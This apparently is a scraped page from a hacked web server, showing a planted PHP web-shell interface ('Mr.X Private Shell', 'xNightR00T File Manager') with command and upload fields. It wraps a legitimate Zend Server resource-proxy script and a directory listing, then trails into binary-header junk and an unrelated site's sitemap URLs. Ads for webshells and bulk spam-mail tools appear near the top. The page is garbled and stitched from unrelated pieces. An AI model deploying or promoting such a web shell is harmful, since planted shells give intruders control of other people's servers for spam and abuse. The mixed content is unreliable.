xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * The file is a proxy to the static resources inside the modules.
 * To access a static resource, go to:
 * 	/ZendServer/ModuleResource/<module name>/<path to the resource file in "public" folder of the module>
 */

// disable Zend's stuff for that script like statistics, monitoring, etc
disableZendStuff();

// script debugging
define('DEBUGMODE', false);

// basic locations and paths
define('BASE_PATH', '/ZendServer/ModuleResource');

// get install dir either of a Zend Server, or of a standalone Z-Ray installation
$installDir = get_cfg_var('zend.install_dir') ? get_cfg_var('zend.install_dir') : get_cfg_var('zray.install_dir');
define('INSTALL_DIR', $installDir);
define('DATA_DIR', get_cfg_var('zend.data_dir'));
define('DS', DIRECTORY_SEPARATOR);

// define the folders where the UI modules are located
define('ZEND_MODULES_FOLDER', realpath(__DIR__.DS.'..'.DS.'module'));
define('PLUGINS_MODULES_FOLDER', INSTALL_DIR.DS.'var'.DS.'plugins');

// get the name of the requested module from the request URI
$moduleName = getModuleName();
if (!$moduleName) {
	returnError('Cannot get module name');
}

// check if the module is defined
$modulePath = null;
if (!moduleExists($moduleName, $modulePath)) {
	returnError('module does not exist');
}

// check if the module has "public" folder
$modulePublicPath = $modulePath . DS . 'public';
if (!is_dir($modulePublicPath) || !is_readable($modulePublicPath)) {
	returnError('Module\'s "public" folder %s is not defined', $modulePublicPath);
}

// get the path from the URI
$resourcePath = getResourcePath();
if (!$resourcePath) {
	returnError('Cannot get resource path (request URI: '.$_SERVER['REQUEST_URI'].')');
}

$resourcePath = realpath($modulePublicPath . DS . $resourcePath);

// check that the resource path is in side the module (security check)
if (stripos($resourcePath, $modulePublicPath) === false) {
	returnError('The requested resource is not under "public" folder of the module');
}

// check that the resource path exists in inside the "public" folder of the module
if (!file_exists($resourcePath) || !is_readable($resourcePath) || !is_file($resourcePath)) {
	returnError("The resource {$resourcePath} is not accessible");
}

// check resource's mime type by file extension
$knownMimeTypesPath = ZEND_MODULES_FOLDER . DS . 'Application' . DS . 'config' . DS . 'known-mime-types.php';
if (!file_exists($knownMimeTypesPath) || !is_readable($knownMimeTypesPath)) {
	returnError('Cannot load known mime types file');
}
$knownMimeTypes = require($knownMimeTypesPath);

// get resource extension
$info = new \SplFileInfo($resourcePath);
$fileExtension = $info->getExtension();
$resourceMimeType = isset($knownMimeTypes[$fileExtension]) ? $knownMimeTypes[$fileExtension] : 'application/unknown';

// output the file
header('Content-type: '.$resourceMimeType);
readfile($resourcePath);
exit;

// -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == 
// -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == 
// -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == -- == 

/**
 * @brief Get the clean request URI from the $_SERVER and keep only the relevant part
 * @return string
 */
function getRequestUri() {
	$basePath = trim(BASE_PATH, '/');
	$requestUri = trim($_SERVER['REQUEST_URI'], '/');
	$requestUri = str_ireplace($basePath, '', $requestUri);
	$requestUri = trim($requestUri, '/');
	return $requestUri;
}

/**
 * @brief Get the name of the module from the request URI
 * @return string|false
 */
function getModuleName() {
	
	// get the request uri
	$requestUri = getRequestUri();
	if (empty($requestUri)) {
		_log('Cannot get resource URI');
		return false;
	}
	
	$parsedUri = explode('/', $requestUri);
	if (!isset($parsedUri[0])) {
		_log('Cannot parse the URI');
		return false;
	}
	
	return $parsedUri[0];
}

/**
 * @brief Get the path of the resource inside the module's "public" folder
 * @return string|false
 */
function getResourcePath() {
	$requestUri = getRequestUri();
	if (empty($requestUri)) {
		_log('Cannot get the resource URI');
		return false;
	}
	
	$parsedUri = explode('/', $requestUri);
	if (count($parsedUri) < 2) {
		_log('URI does not contain the resource path');
		return false;
	}
	
	// unset the first element which is the module name
	$parsedUri = array_slice($parsedUri, 1);
	
	// remove the query_string from the last element
	$lastElement = $parsedUri[count($parsedUri) - 1];
	$lastElement = strpos($lastElement, '?') !== false ? substr($lastElement, 0, strpos($lastElement, '?')) : $lastElement;
	$parsedUri[count($parsedUri) - 1] = $lastElement;
	
	// return the rest of the request URI
	return implode(DIRECTORY_SEPARATOR, $parsedUri);
}

/**
 * @brief Get module's namespace by reading its Module.php file and parsing the "namespage" definition
 * @param <unknown> $moduleFolderPath 
 * @return  
 */
function getModuleNamespace($moduleFolderPath) {
	if (!is_dir($moduleFolderPath) || !is_readable($moduleFolderPath)) {
		_log('Module folder %s is not accessible', $moduleFolderPath);
		return false;
	}
	
	$modulePath = realpath($moduleFolderPath.DS.'Module.php');
	if (!file_exists($modulePath) || !is_readable($modulePath)) {
		_log('Module path %s is not accessible', $modulePath);
		return false;
	}
		
	// try to locate the namespace
	foreach (file($modulePath) as $line) {
		preg_match("/^namespace\s+(.*?)\s*;/", $line, $outputArray);
		if (count($outputArray) == 2) {
			return $outputArray[1];
			break;
		}
	}
 	
	_log('Cannot find module\'s namespace in %s', $moduleFolderPath);
	return false;
}

/**
 * @brief Check if the module exists in all the relevant folders, and set the right module path.
 * @param string $moduleName 
 * @param string $modulePath - (byRef) the path of the right module
 * @return bool
 */
function moduleExists($moduleName, &$modulePath) {
	// get ZS modules folder
	if (empty(INSTALL_DIR)) {
		_log('zend server installation folder is not defined. Please check "zend.install_dir" directive');
		return false;
	}
	$zendModulesDir = ZEND_MODULES_FOLDER;
	if (!is_dir($zendModulesDir) || !is_readable($zendModulesDir)) {
		_log('Zend modules dir %s is not accessible', $zendModulesDir);
		return false;
	}
	
	// scan the native ZS modules
	foreach (scandir($zendModulesDir) as $moduleFolderName) {
		if ($moduleFolderName == '.' || $moduleFolderName == '..') {
			continue;
		}
		
		$modulePath = $zendModulesDir . DS . $moduleFolderName;
		
		// skip the check if this is a file
		if (is_file($modulePath)) {
			continue;
		}
		
		if (!is_dir($modulePath) || !is_readable($modulePath)) {
			_log('The module %s is not accessible', $modulePath);
			continue;
		}
		
		$moduleNamespace = getModuleNamespace($modulePath);
		if ($moduleNamespace == $moduleName) {
			// found the module
			return true;
		}
	}
	
	// get plugins folder
	if (empty(DATA_DIR)) {
		_log('zend server data dir is not defined. Please check "zend.data_dir" directive');
		return false;
	}
	$zendPluginsDir = DATA_DIR . DS . 'plugins';
	if (!is_dir($zendPluginsDir) || !is_readable($zendPluginsDir)) {
		_log('Plugins folder is not accessible');
		return false;
	}
	
	// scan the extensions' modules
	foreach (scandir($zendPluginsDir) as $pluginFolderName) {
		if ($pluginFolderName == '.' || $pluginFolderName == '..') {
			continue;
		}
		
		$pluginPath = $zendPluginsDir . DS . $pluginFolderName;
		
		// skip the check if this is a file
		if (is_file($pluginPath)) {
			continue;
		}
		
		if (!is_dir($pluginPath) || !is_readable($pluginPath)) {
			_log('Plugin %s is not accessible', $pluginPath);
			continue;
		}
		
		// check if the plugin has "ui" folder
		$pluginUIFolder = $pluginPath . DS . 'ui';
		if (!is_dir($pluginUIFolder) || !is_readable($pluginUIFolder)) {
			// the plugin does not have UI extensions
			continue;
		}
		
		// scan the UI modules of the plugin
		foreach (scandir($pluginUIFolder) as $pluginUIModule) {
			if ($pluginUIModule == '.' || $pluginUIModule == '..') {
				continue;
			}
			
			$modulePath = $pluginUIFolder . DS . $pluginUIModule;
			
			// skip the check if this is a file
			if (is_file($modulePath)) {
				continue;
			}
			
			if (!is_dir($modulePath) || !is_readable($modulePath)) {
				_log('Plugin\'s module path %s is not accessible', $modulePath);
				continue;
			}
			
			$moduleNamespace = getModuleNamespace($modulePath);
			if ($moduleNamespace == $moduleName) {
				// found the module
				return true;
			}
		}
	}
	
	_log('The module %s wasn\'t found', $moduleName);
	return false;
}

/**
 * @brief disable Zend's statistics and extra processing
 * @return  
 */
function disableZendStuff() {
	if (function_exists('zend_codetracing_options')) {
		zend_codetracing_options(0);
	}
	if (function_exists('zend_disable_statistics')) {
		zend_disable_statistics();
	}
	if (function_exists('zend_urlinsight_disable')) {
		zend_urlinsight_disable();
	}
	if (function_exists('zray_disable')) {
		zray_disable(true);    
	}
}

/**
 * @brief Log messages - number of parameters is unlimited. Currently only output to STDERR
 * The arguments can be passed the same way as to "printf" function. example:
 * 	log('the error is %s, the time is %s, the number is %d', $errorType, date('d.m.Y H:i'), $number);
 * @return  
 */
function _log() {
	if (!DEBUGMODE) {
		return;
	}
	
	if (func_num_args() == 0) {
		return;
	} elseif (func_num_args() == 1) {
		$logMessage = func_get_arg(0);
	} else {
		$logMessage = call_user_func_array('sprintf', func_get_args());
	}
	
	error_log(sprintf("ZS Resources proxy (".__FILE__."). Error loading static resource. %s", ucfirst($logMessage)));
}

/**
 * @brief display error and stop the script
 * @param string $errorStr 
 */
function returnError($errorStr) {
	_log($errorStr);
	exit;
}

Filemanager

Name Type Size Permission Actions
browser-apm Folder 0755
css Folder 0755
flex Folder 0755
fonts Folder 0755
hljs Folder 0755
images Folder 0755
js Folder 0755
redirect Folder 0755
spa-assets Folder 0755
.htaccess File 445 B 0644
apidocs.php File 57 B 0644
index.php File 746 B 0644
resources.php File 9.63 KB 0644
web.config File 1.52 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml